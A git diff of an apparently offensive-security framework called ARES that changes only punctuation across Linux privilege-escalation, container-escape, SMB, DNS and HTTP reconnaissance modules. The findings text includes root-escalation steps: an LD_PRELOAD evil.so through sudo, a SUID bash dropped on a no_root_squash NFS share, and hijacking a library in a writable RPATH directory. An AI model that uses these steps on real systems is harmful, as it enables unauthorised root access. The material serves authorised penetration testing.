f"(SecurityMode=0x0000): {', '.join(signing_disabled[:10])}. "
- "This is more severe than 'not required' — no signing capability "
+ "This is more severe than 'not required' - no signing capability "
"is advertised at all, making these hosts easy relay targets "
"and indicating a non-default (weakened) SMB configuration."
),
@@ -431,7 +431,7 @@ class SMBRelayAuditModule(BaseModule):
"signing_disabled_hosts": signing_disabled,
},
remediation=(
- "Investigate why signing was disabled on these hosts — "
+ "Investigate why signing was disabled on these hosts - "
"this is a non-default configuration and may indicate intentional "
"weakening or a misconfigured NAS/appliance. "
"Re-enable signing as described above."
@@ -445,7 +445,7 @@ class SMBRelayAuditModule(BaseModule):
for target in targets:
try:
await self.before_request(target, "ldap")
- # Query rootDSE — if LDAP returns without requiring signing, it's unsigned
+ # Query rootDSE - if LDAP returns without requiring signing, it's unsigned
loop = asyncio.get_running_loop()
def _check_ldap(host: str) -> bool:
@@ -479,7 +479,7 @@ class SMBRelayAuditModule(BaseModule):
if ldap_unsigned:
self.finding(
title=(
- f"LDAP Signing Not Enforced — "
+ f"LDAP Signing Not Enforced - "
f"{len(ldap_unsigned)} Host(s)"
),
description=(
@@ -509,5 +509,5 @@ class SMBRelayAuditModule(BaseModule):
"signing_disabled": signing_disabled,
"per_host_results": results,
}
- raw["smb_signing_config"] = {k: v for k, v in raw.items()} # OUTPUTS key — shallow copy to avoid circular ref
+ raw["smb_signing_config"] = {k: v for k, v in raw.items()} # OUTPUTS key - shallow copy to avoid circular ref
return self._findings[:], raw
diff --git a/ares/modules/linux/__init__.py b/ares/modules/linux/__init__.py
index cf2978f..7f527e2 100644
--- a/ares/modules/linux/__init__.py
+++ b/ares/modules/linux/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.linux
+ARES - modules.linux
Linux privilege escalation and container escape modules
Note: Primary module discovery uses PluginLoader (inspect.getmembers).
diff --git a/ares/modules/linux/container.py b/ares/modules/linux/container.py
index 07fcf2a..beb802f 100644
--- a/ares/modules/linux/container.py
+++ b/ares/modules/linux/container.py
@@ -40,7 +40,7 @@ from ares.sdk import (
)
class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):
"""
- linux.container — Docker socket abuse, privileged escape, K8s RBAC misconfigs
+ linux.container - Docker socket abuse, privileged escape, K8s RBAC misconfigs
OPSEC: MEDIUM
MITRE: "T1611", "T1552.007", "T1613"
@@ -66,7 +66,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):
target = ctx.params.get("target") or ctx.params.get("host", "")
if not target:
raise ModuleValidationError(
- "linux.container requires 'target' — IP or hostname of container host.",
+ "linux.container requires 'target' - IP or hostname of container host.",
module_id=self.MODULE_ID, field="target",
)
if isinstance(ctx.params, dict):
@@ -174,7 +174,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):
@trace_module("linux.container")
async def run(self, **kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:
- # Note: before_request() intentionally not called — this module runs
+ # Note: before_request() intentionally not called - this module runs
# entirely locally inside the container (no remote network calls to a target host).
# Scope/jitter checks apply to remote targets, not local filesystem/socket reads.
raw: dict[str, Any] = {
@@ -214,7 +214,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):
elif exists:
self.finding(
title="Docker Socket Mounted (Read-Only)",
- description="Docker socket mounted but not writable — limited exploitation.",
+ description="Docker socket mounted but not writable - limited exploitation.",
severity=Severity.MEDIUM,
mitre_technique="T1611",
mitre_tactic="Privilege Escalation",
@@ -249,7 +249,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):
evidence={"CapEff": cap_eff},
remediation=(
"Remove --privileged. Use specific --cap-add for required capabilities. "
- "Principle of least privilege — no container should be privileged in prod."
+ "Principle of least privilege - no container should be privileged in prod."
),
)
return {"privileged": privileged, "CapEff": cap_eff}
@@ -295,7 +295,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):
try:
with open(token_path) as f:
token = f.read().strip()
- logger.info("[container] K8s service account token found — checking RBAC")
+ logger.info("[container] K8s service account token found - checking RBAC")
# Production:
# from kubernetes import client, config
@@ -328,7 +328,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):
try:
with open("/proc/net/tcp") as f:
lines = f.readlines()
- # If we see ports like 22, 80, 443 listening — likely host network
+ # If we see ports like 22, 80, 443 listening - likely host network
host_network = len(lines) > 50 # Heuristic: many open ports = host net
if host_network:
self.finding(
diff --git a/ares/modules/linux/kernel_suggester.py b/ares/modules/linux/kernel_suggester.py
index 66eb64a..8184868 100644
--- a/ares/modules/linux/kernel_suggester.py
+++ b/ares/modules/linux/kernel_suggester.py
@@ -3,7 +3,7 @@ Linux Kernel Exploit Suggester
MITRE: T1068 (Exploitation for Privilege Escalation)
Reads kernel version from target and maps it to known local privilege
-escalation CVEs. Does NOT exploit — detection and suggestion only.
+escalation CVEs. Does NOT exploit - detection and suggestion only.
Operator must obtain and compile the PoC separately.
"""
from __future__ import annotations
@@ -29,12 +29,12 @@ from ares.sdk import (
logger = get_logger("ares.modules.linux.kernel_suggester")
# kernel_version_regex → (CVE, description, severity, affected_range)
-# Ranges are illustrative — real check via uname -r parsing
+# Ranges are illustrative - real check via uname -r parsing
_KERNEL_CVES: list[tuple[str, str, str, str, str]] = [
(r"[345]\.[0-9]+", "CVE-2021-4034", "Polkit pkexec LPE (PwnKit)", "CRITICAL", "< 0.120-3"),
(r"[345]\.[0-9]+", "CVE-2021-3156", "Sudo heap-overflow LPE (Baron Samedit)", "CRITICAL", "< 1.9.5p2"),
- (r"5\.[0-9]+\.[0-9]+", "CVE-2022-0847", "Dirty Pipe — arbitrary write via pipe", "HIGH", "5.8–5.16.11"),
- (r"[34]\.[0-9]+\.[0-9]+","CVE-2016-5195", "Dirty COW — race condition write", "HIGH", "< 4.8.3"),
+ (r"5\.[0-9]+\.[0-9]+", "CVE-2022-0847", "Dirty Pipe - arbitrary write via pipe", "HIGH", "5.8–5.16.11"),
+ (r"[34]\.[0-9]+\.[0-9]+","CVE-2016-5195", "Dirty COW - race condition write", "HIGH", "< 4.8.3"),
(r"5\.[0-9]+\.[0-9]+", "CVE-2021-33909", "seq_file LPE (size_t-to-int overflow)", "HIGH", "< 5.13.4"),
(r"[345]\.[0-9]+", "CVE-2019-13272", "ptrace PTRACE_TRACEME LPE", "HIGH", "< 5.1.17"),
(r"[345]\.[0-9]+", "CVE-2017-16995", "eBPF verifier integer overflow LPE", "HIGH", "3.18–4.14"),
@@ -52,7 +52,7 @@ _KERNEL_CVES: list[tuple[str, str, str, str, str]] = [
)
class KernelSuggesterModule(BaseModule[KernelSuggesterParams, ModuleResult]):
"""
- linux.kernel_suggester — Read kernel version via SSH and map to known LPE CVEs — detection and suggestion only, no exploitation
+ linux.kernel_suggester - Read kernel version via SSH and map to known LPE CVEs - detection and suggestion only, no exploitation
OPSEC: LOW
MITRE: "T1068", "T1082"
@@ -63,7 +63,7 @@ class KernelSuggesterModule(BaseModule[KernelSuggesterParams, ModuleResult]):
MODULE_NAME = "Linux Kernel Exploit Suggester"
MODULE_CATEGORY = "linux"
MODULE_DESCRIPTION = (
- "Read kernel version via SSH and map to known LPE CVEs — "
+ "Read kernel version via SSH and map to known LPE CVEs - "
"detection and suggestion only, no exploitation"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -82,7 +82,7 @@ class KernelSuggesterModule(BaseModule[KernelSuggesterParams, ModuleResult]):
target = ctx.params.get("target") or ctx.params.get("host", "")
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
ssh_user = None
@@ -281,7 +281,7 @@ class KernelSuggesterModule(BaseModule[KernelSuggesterParams, ModuleResult]):
sev = {"CRITICAL": Severity.CRITICAL, "HIGH": Severity.HIGH,
"MEDIUM": Severity.MEDIUM}.get(severity_str, Severity.INFO)
self.finding(
- title=f"Potential Kernel LPE: {cve} — {description}",
+ title=f"Potential Kernel LPE: {cve} - {description}",
description=(
f"Kernel {kernel_ver} on {target} may be vulnerable to {cve} "
f"({description}). Affected range: {affected}. "
diff --git a/ares/modules/linux/ld_preload.py b/ares/modules/linux/ld_preload.py
index afecdfd..bbe85c3 100644
--- a/ares/modules/linux/ld_preload.py
+++ b/ares/modules/linux/ld_preload.py
@@ -4,18 +4,18 @@ MITRE: T1574.006 (Dynamic Linker Hijacking)
Detects conditions that allow library hijacking via:
1. LD_PRELOAD allowed in sudoers (env_keep += LD_PRELOAD)
- — run arbitrary code as sudo target user via preloaded .so
+ - run arbitrary code as sudo target user via preloaded .so
2. RPATH pointing to writable directories in SUID/sudo binaries
- — attacker-controlled .so loaded before system libraries
+ - attacker-controlled .so loaded before system libraries
3. Writable directories in /etc/ld.so.conf or ld.so.conf.d/
- — affects all dynamically linked binaries run by any user
+ - affects all dynamically linked binaries run by any user
4. Writable /etc/ld.so.preload
- — forces preload of attacker .so for every dynamic binary
+ - forces preload of attacker .so for every dynamic binary
-Detection only — no .so files are created or injected.
+Detection only - no .so files are created or injected.
All checks run via SSH or local shell, read-only commands.
-OPSEC: LOW — reads config files and runs readelf/ldd on existing binaries.
+OPSEC: LOW - reads config files and runs readelf/ldd on existing binaries.
"""
from __future__ import annotations
@@ -74,7 +74,7 @@ _CMD_SUID_BINS = (
)
class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):
"""
- linux.ld_preload — Detect LD_PRELOAD in sudoers, writable RPATH in SUID binaries, and writable ld.so config paths —
+ linux.ld_preload - Detect LD_PRELOAD in sudoers, writable RPATH in SUID binaries, and writable ld.so config paths -
OPSEC: LOW
MITRE: "T1574.006", "T1082"
@@ -85,7 +85,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):
MODULE_CATEGORY = "linux"
MODULE_DESCRIPTION = (
"Detect LD_PRELOAD in sudoers, writable RPATH in SUID binaries, "
- "and writable ld.so config paths — library hijack escalation vectors"
+ "and writable ld.so config paths - library hijack escalation vectors"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.LOW
@@ -102,7 +102,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):
target = ctx.params.get("target") or ctx.params.get("host", "")
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
ssh_user = None
@@ -294,7 +294,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):
"environment variable (env_keep += LD_PRELOAD). "
"An attacker can compile a malicious shared library, set "
"LD_PRELOAD to point to it, and run any command allowed by "
- "sudo — causing the library to execute as the sudo target user "
+ "sudo - causing the library to execute as the sudo target user "
"(often root) before the actual command runs."
),
severity=Severity.CRITICAL,
@@ -306,7 +306,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):
"exploitation": (
"1. Compile: gcc -shared -fPIC -o /tmp/evil.so evil.c. "
"2. Set: export LD_PRELOAD=/tmp/evil.so. "
- "3. Run any allowed sudo command — evil.so executes as root."
+ "3. Run any allowed sudo command - evil.so executes as root."
),
},
remediation=(
@@ -320,7 +320,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):
# ── Check 2: Writable /etc/ld.so.preload ──────────────────────────
if preload_file_out:
- # File exists — check if writable by current user
+ # File exists - check if writable by current user
writable_preload = await run_cmd(
"[ -w /etc/ld.so.preload ] && echo writable || echo readonly"
) if not isinstance(preload_file_out, Exception) else ""
@@ -467,7 +467,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):
"1. Run ldd <suid_binary> to find loaded libraries. "
"2. Compile a fake version of one library as a shared object. "
"3. Place it in the writable RPATH dir with the exact library name. "
- "4. Execute the SUID binary — your .so runs as root."
+ "4. Execute the SUID binary - your .so runs as root."
),
},
remediation=(
@@ -490,7 +490,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):
raw["privesc_vectors"] = self._findings # OUTPUTS key
return self._findings[:], raw
- # ── SSH / local runner helpers — identical pattern to linux.privesc ────
+ # ── SSH / local runner helpers - identical pattern to linux.privesc ────
async def _make_ssh_runner(
self,
@@ -504,7 +504,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):
import asyncssh # type: ignore[import]
except ImportError:
from ares.core.errors import ModuleError
- raise ModuleError("asyncssh not installed — pip install asyncssh",
+ raise ModuleError("asyncssh not installed - pip install asyncssh",
module_id=self.MODULE_ID)
kw: dict = {"host": host, "port": port, "username": user, "known_hosts": None}
diff --git a/ares/modules/linux/nfs_escape.py b/ares/modules/linux/nfs_escape.py
index f3217ac..dec3c03 100644
--- a/ares/modules/linux/nfs_escape.py
+++ b/ares/modules/linux/nfs_escape.py
@@ -1,22 +1,22 @@
"""
-Linux NFS Misconfiguration — no_root_squash Detection
+Linux NFS Misconfiguration - no_root_squash Detection
MITRE: T1548.001 (Abuse Elevation Control Mechanism: Setuid and Setgid)
Checks NFS exports on the target for the no_root_squash option.
When no_root_squash is set, a remote root user mounting that export
-retains root privileges on the NFS share — allowing SUID binary
+retains root privileges on the NFS share - allowing SUID binary
creation or direct overwrite of sensitive files like /etc/passwd.
Two execution paths:
- Remote (SSH) — connects via asyncssh, reads /etc/exports and
+ Remote (SSH) - connects via asyncssh, reads /etc/exports and
mounted NFS shares from /proc/mounts
- Local — reads directly from /etc/exports and /proc/mounts
+ Local - reads directly from /etc/exports and /proc/mounts
This module is DETECTION ONLY.
It reports misconfigured exports and the exploitation path.
It does NOT mount anything or create any files on the target.
-OPSEC: LOW — reads config files via SSH, no network scanning.
+OPSEC: LOW - reads config files via SSH, no network scanning.
"""
from __future__ import annotations
@@ -54,17 +54,17 @@ _DANGEROUS_OPTIONS: list[tuple[str, str, str]] = [
),
(
"no_all_squash",
- "All UIDs/GIDs are preserved — non-root users may also gain elevated access",
+ "All UIDs/GIDs are preserved - non-root users may also gain elevated access",
"HIGH",
),
(
"insecure",
- "Allows connections from unprivileged ports (>1024) — easier to connect",
+ "Allows connections from unprivileged ports (>1024) - easier to connect",
"MEDIUM",
),
(
"rw",
- "Export is writable — required for file placement attacks",
+ "Export is writable - required for file placement attacks",
"INFO",
),
]
@@ -125,7 +125,7 @@ def _parse_exports(exports_content: str) -> list[dict[str, Any]]:
)
class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):
"""
- linux.nfs_escape — Detect NFS exports with no_root_squash — allows root on attacker machine to write SUID binaries
+ linux.nfs_escape - Detect NFS exports with no_root_squash - allows root on attacker machine to write SUID binaries
OPSEC: LOW
MITRE: "T1548.001", "T1082"
@@ -135,7 +135,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):
MODULE_NAME = "NFS no_root_squash Detection"
MODULE_CATEGORY = "linux"
MODULE_DESCRIPTION = (
- "Detect NFS exports with no_root_squash — allows root on attacker "
+ "Detect NFS exports with no_root_squash - allows root on attacker "
"machine to write SUID binaries to the share for privilege escalation"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -154,7 +154,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):
target = ctx.params.get("target") or ctx.params.get("host", "")
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
ssh_user = None
@@ -365,7 +365,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):
"execute it from a low-priv shell on the NFS server "
"to escalate to root."
if is_writable else
- "The export is read-only — no_root_squash is less "
+ "The export is read-only - no_root_squash is less "
"immediately exploitable but still a misconfiguration."
)
),
@@ -384,7 +384,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):
"cp /bin/bash /mnt/share/ && chmod +s /mnt/share/bash. "
"3. On the NFS server (as low-priv user): "
f"/mnt_nfs{path}/bash -p (opens root shell)."
- ) if is_writable else "read-only export — limited impact",
+ ) if is_writable else "read-only export - limited impact",
},
remediation=(
f"Remove no_root_squash from {path} export in /etc/exports. "
@@ -401,7 +401,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):
description=(
f"NFS export {path!r} on {host} has no_all_squash for "
f"client {client_host!r}. "
- "UIDs from the client are passed through to the server — "
+ "UIDs from the client are passed through to the server - "
"if the client has a UID matching a privileged user on "
"the server, it gains their access."
),
@@ -440,7 +440,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):
raw["privesc_vectors"] = self._findings # OUTPUTS key
return self._findings[:], raw
- # ── SSH / local runner helpers — identical pattern to linux.privesc ────
+ # ── SSH / local runner helpers - identical pattern to linux.privesc ────
async def _make_ssh_runner(
self,
@@ -454,7 +454,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):
import asyncssh # type: ignore[import]
except ImportError:
from ares.core.errors import ModuleError
- raise ModuleError("asyncssh not installed — pip install asyncssh",
+ raise ModuleError("asyncssh not installed - pip install asyncssh",
module_id=self.MODULE_ID)
kw: dict = {"host": host, "port": port, "username": user, "known_hosts": None}
diff --git a/ares/modules/linux/privesc.py b/ares/modules/linux/privesc.py
index 2582ee7..117ca69 100644
--- a/ares/modules/linux/privesc.py
+++ b/ares/modules/linux/privesc.py
@@ -1,5 +1,5 @@
"""
-Linux Privilege Escalation — Next-Gen Sovereign SDK v2 Implementation
+Linux Privilege Escalation - Next-Gen Sovereign SDK v2 Implementation
Local & Remote SSH with Capability-Based Sandboxing & Merkle Audit Trails.
MITRE: T1548.001, T1053.003, T1574.006
"""
@@ -48,7 +48,7 @@ GTFOBINS_SUID = {
)
class LinuxPrivescModule(BaseModule[LinuxPrivescParams, ModuleResult]):
"""
- linux.privesc — SUID, sudo, cron, capabilities, writable PATH — local or remote SSH
+ linux.privesc - SUID, sudo, cron, capabilities, writable PATH - local or remote SSH
OPSEC: MEDIUM
MITRE: "T1548.001", "T1053.003", "T1574.006"
@@ -58,7 +58,7 @@ class LinuxPrivescModule(BaseModule[LinuxPrivescParams, ModuleResult]):
MODULE_ID = "linux.privesc"
MODULE_NAME = "Linux Privilege Escalation"
MODULE_CATEGORY = "linux"
- MODULE_DESCRIPTION = "SUID, sudo, cron, capabilities, writable PATH — local or remote SSH"
+ MODULE_DESCRIPTION = "SUID, sudo, cron, capabilities, writable PATH - local or remote SSH"
MODULE_AUTHOR = "ARES Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.MEDIUM
REQUIRES = []
@@ -83,7 +83,7 @@ class LinuxPrivescModule(BaseModule[LinuxPrivescParams, ModuleResult]):
if not target:
raise ModuleValidationError(
- "linux.privesc requires 'target' — IP or hostname of Linux host.",
+ "linux.privesc requires 'target' - IP or hostname of Linux host.",
module_id=self.MODULE_ID,
field="target",
)
@@ -399,7 +399,7 @@ class LinuxPrivescModule(BaseModule[LinuxPrivescParams, ModuleResult]):
sudo_rules = raw.get("sudo", [])
if any("ALL" in line and "NOPASSWD" in line for line in sudo_rules):
self.finding(
- title="NOPASSWD Sudo — Immediate Root",
+ title="NOPASSWD Sudo - Immediate Root",
description="Can run commands as root without password.",
severity=Severity.CRITICAL,
mitre_technique="T1548.003",
@@ -431,7 +431,7 @@ class LinuxPrivescModule(BaseModule[LinuxPrivescParams, ModuleResult]):
if writable:
self.finding(
title=f"Writable PATH Dirs ({len(writable)})",
- description="Current user can write to $PATH dirs — PATH hijacking possible.",
+ description="Current user can write to $PATH dirs - PATH hijacking possible.",
severity=Severity.HIGH,
mitre_technique="T1574.006",
mitre_tactic="Privilege Escalation",
diff --git a/ares/modules/linux/service_hijack.py b/ares/modules/linux/service_hijack.py
index 90ddfa0..7357bc6 100644
--- a/ares/modules/linux/service_hijack.py
+++ b/ares/modules/linux/service_hijack.py
@@ -3,7 +3,7 @@ Linux Service Binary Hijack Detection
MITRE: T1574.010 (Services File Permissions Weakness)
Detects system services where the binary (ExecStart) is writable
-by the current user — replacing it executes arbitrary code the
+by the current user - replacing it executes arbitrary code the
next time the service restarts or the system reboots.
Checks:
@@ -17,10 +17,10 @@ Also checks:
(modifying the unit file is equivalent to modifying the binary)
5. Services running as root with binaries in user-writable locations
-Detection only — no service files or binaries are modified.
+Detection only - no service files or binaries are modified.
All checks are read-only (stat, test -w).
-OPSEC: LOW — reads unit files, no process execution or service interaction.
+OPSEC: LOW - reads unit files, no process execution or service interaction.
"""
from __future__ import annotations
@@ -62,7 +62,7 @@ _SYSTEMD_DIRS: list[str] = [
# Max services to check (avoid very long scans)
_MAX_SERVICES = 60
-# User-controlled path indicators — binaries here are suspicious
+# User-controlled path indicators - binaries here are suspicious
_USER_WRITABLE_PATHS: list[str] = [
"/tmp/",
"/var/tmp/",
@@ -109,7 +109,7 @@ def _parse_exec_start(unit_content: str) -> list[str]:
)
class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):
"""
- linux.service_hijack — Detect systemd/init services with writable binaries or unit files —
+ linux.service_hijack - Detect systemd/init services with writable binaries or unit files -
replacing the binary escalates privileges at next service restart
OPSEC: LOW
@@ -120,7 +120,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):
MODULE_NAME = "Service Binary Hijack Detection"
MODULE_CATEGORY = "linux"
MODULE_DESCRIPTION = (
- "Detect systemd/init services with writable binaries or unit files — "
+ "Detect systemd/init services with writable binaries or unit files - "
"replacing the binary escalates privileges at next service restart"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -139,7 +139,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):
target = ctx.params.get("target") or ctx.params.get("host", "")
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
ssh_user = None
@@ -347,7 +347,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):
if "writable" in unit_writable:
writable_unit_files.append({
"unit": unit_path,
- "reason": "Unit file writable — modify ExecStart to run arbitrary command",
+ "reason": "Unit file writable - modify ExecStart to run arbitrary command",
})
# Extract ExecStart paths and check writability
@@ -470,7 +470,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):
description=(
f"{len(suspicious_paths)} service(s) on {host} execute binaries "
"from user-writable directories (/tmp, /home, /var/tmp, /dev/shm). "
- "These paths are trivially writable by unprivileged users — "
+ "These paths are trivially writable by unprivileged users - "
"placing a file with the expected name in these directories "
"causes the service to execute it."
),
@@ -526,7 +526,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):
raw["privesc_vectors"] = self._findings # OUTPUTS key
return self._findings[:], raw
- # ── SSH / local runner helpers — identical pattern to linux.privesc ────
+ # ── SSH / local runner helpers - identical pattern to linux.privesc ────
async def _make_ssh_runner(
self,
@@ -540,7 +540,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):
import asyncssh # type: ignore[import]
except ImportError:
from ares.core.errors import ModuleError
- raise ModuleError("asyncssh not installed — pip install asyncssh",
+ raise ModuleError("asyncssh not installed - pip install asyncssh",
module_id=self.MODULE_ID)
kw: dict = {"host": host, "port": port, "username": user, "known_hosts": None}
diff --git a/ares/modules/network/__init__.py b/ares/modules/network/__init__.py
index 9d915a0..f6b10a5 100644
--- a/ares/modules/network/__init__.py
+++ b/ares/modules/network/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.network
+ARES - modules.network
Network reconnaissance and pivot modules
Note: Primary module discovery uses PluginLoader (inspect.getmembers).
diff --git a/ares/modules/network/dns_enum.py b/ares/modules/network/dns_enum.py
index 306cb9d..0e6e050 100644
--- a/ares/modules/network/dns_enum.py
+++ b/ares/modules/network/dns_enum.py
@@ -1,5 +1,5 @@
"""
-DNS Enumeration — Zone Transfer, Subdomain Brute, Record Enum
+DNS Enumeration - Zone Transfer, Subdomain Brute, Record Enum
MITRE: T1590.002
Attempts:
@@ -63,7 +63,7 @@ _RECORD_TYPES: list[str] = ["A", "AAAA", "MX", "NS", "TXT", "SOA", "CNAME", "PTR
)
class DnsEnumModule(BaseModule):
"""
- network.dns_enum — DNS zone transfer attempt, subdomain brute force, and record enumeration — maps DNS infrastructure and finds internal hostnames
+ network.dns_enum - DNS zone transfer attempt, subdomain brute force, and record enumeration - maps DNS infrastructure and finds internal hostnames
OPSEC: LOW
MITRE: "T1590.002"
@@ -73,7 +73,7 @@ class DnsEnumModule(BaseModule):
MODULE_NAME = "DNS Enumeration"
MODULE_CATEGORY = "network"
MODULE_DESCRIPTION = (
- "DNS zone transfer attempt, subdomain brute force, and record enumeration — "
+ "DNS zone transfer attempt, subdomain brute force, and record enumeration - "
"maps DNS infrastructure and finds internal hostnames"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -97,7 +97,7 @@ class DnsEnumModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
await super().validate(ctx)
@@ -226,7 +226,7 @@ class DnsEnumModule(BaseModule):
import dns.query # type: ignore[import]
import dns.exception # type: ignore[import]
except ImportError:
- return [], {"error": "dnspython not installed — run: pip install dnspython"}
+ return [], {"error": "dnspython not installed - run: pip install dnspython"}
logger.info("dns_enum_start", domain=domain)
await self.noise.rate_limiter.acquire("network_scan")
@@ -243,7 +243,7 @@ class DnsEnumModule(BaseModule):
resolver.timeout = 3
resolver.lifetime = 5
- # ── 1. Standard record enumeration — blocking, wrapped in executor ──────
+ # ── 1. Standard record enumeration - blocking, wrapped in executor ──────
def _resolve_records() -> dict[str, list[str]]:
results: dict[str, list[str]] = {}
for rtype in _RECORD_TYPES:
@@ -256,7 +256,7 @@ class DnsEnumModule(BaseModule):
dns_records = await loop.run_in_executor(None, _resolve_records)
- # ── 2. Zone transfer attempt — blocking, wrapped in executor ─────────────
+ # ── 2. Zone transfer attempt - blocking, wrapped in executor ─────────────
ns_servers: list[str] = dns_records.get("NS", [])
def _try_axfr(ns_host: str) -> list[str]:
@@ -276,7 +276,7 @@ class DnsEnumModule(BaseModule):
description=(
f"The nameserver {ns_clean} allowed a full zone transfer (AXFR) "
f"for {domain}. This exposes the complete DNS zone with "
- f"{len(zone_transfer_data)} records — all internal hostnames and IPs."
+ f"{len(zone_transfer_data)} records - all internal hostnames and IPs."
),
severity=Severity.CRITICAL,
mitre_technique="T1590.002",
@@ -340,7 +340,7 @@ class DnsEnumModule(BaseModule):
import re
if re.search(r"v=spf1|DKIM|DMARC|google-site-verification|"
r"atlassian-domain|MS=ms|docusign", txt, re.IGNORECASE):
- pass # Normal SPF/DMARC records — not findings
+ pass # Normal SPF/DMARC records - not findings
elif re.search(r"password|secret|token|key|credential", txt, re.IGNORECASE):
self.finding(
title=f"Sensitive Data in DNS TXT Record for {domain}",
diff --git a/ares/modules/network/http_fingerprint.py b/ares/modules/network/http_fingerprint.py
index 304786e..32f95e3 100644
--- a/ares/modules/network/http_fingerprint.py
+++ b/ares/modules/network/http_fingerprint.py
@@ -1,5 +1,5 @@
"""
-HTTP Fingerprinting — Web Server, Framework, CMS Detection
+HTTP Fingerprinting - Web Server, Framework, CMS Detection
MITRE: T1592.002, T1046
Identifies: server software, web framework, CMS, admin interfaces,
@@ -32,17 +32,17 @@ logger = get_logger("ares.modules.network.http_fingerprint")
_SENSITIVE_PATHS: list[tuple[str, str]] = [
("/admin", "Admin interface"),
("/admin/login", "Admin login"),
- ("/.env", "Environment file — may expose secrets"),
+ ("/.env", "Environment file - may expose secrets"),
("/.git/HEAD", "Git repository exposed"),
("/wp-admin/", "WordPress admin panel"),
("/wp-login.php", "WordPress login"),
("/phpmyadmin/", "phpMyAdmin database manager"),
("/manager/html", "Tomcat Manager"),
("/api/v1/", "API endpoint"),
- ("/api/swagger.json", "Swagger/OpenAPI spec — enumerate endpoints"),
+ ("/api/swagger.json", "Swagger/OpenAPI spec - enumerate endpoints"),
("/swagger-ui.html", "Swagger UI"),
- ("/actuator", "Spring Boot Actuator — may expose internals"),
- ("/actuator/env", "Spring Boot env — may expose credentials"),
+ ("/actuator", "Spring Boot Actuator - may expose internals"),
+ ("/actuator/env", "Spring Boot env - may expose credentials"),
("/console", "Admin console"),
("/jenkins", "Jenkins CI"),
("/solr/", "Apache Solr admin"),
@@ -50,8 +50,8 @@ _SENSITIVE_PATHS: list[tuple[str, str]] = [
("/grafana", "Grafana dashboard"),
("/.htpasswd", "Apache password file"),
("/server-status", "Apache server status"),
- ("/elmah.axd", "ELMAH error log — .NET"),
- ("/trace.axd", "ASP.NET trace — may expose internals"),
+ ("/elmah.axd", "ELMAH error log - .NET"),
+ ("/trace.axd", "ASP.NET trace - may expose internals"),
]
# Server/framework fingerprints in response headers
@@ -80,7 +80,7 @@ _HEADER_FINGERPRINTS: list[tuple[str, str, str]] = [
)
class HttpFingerprintModule(BaseModule):
"""
- network.http_fingerprint — Fingerprint web servers and applications — detect server software, frameworks, CMS, admin interfaces, and exposed sensitive paths
+ network.http_fingerprint - Fingerprint web servers and applications - detect server software, frameworks, CMS, admin interfaces, and exposed sensitive paths
OPSEC: LOW
MITRE: "T1592.002", T1046 := "T1046"
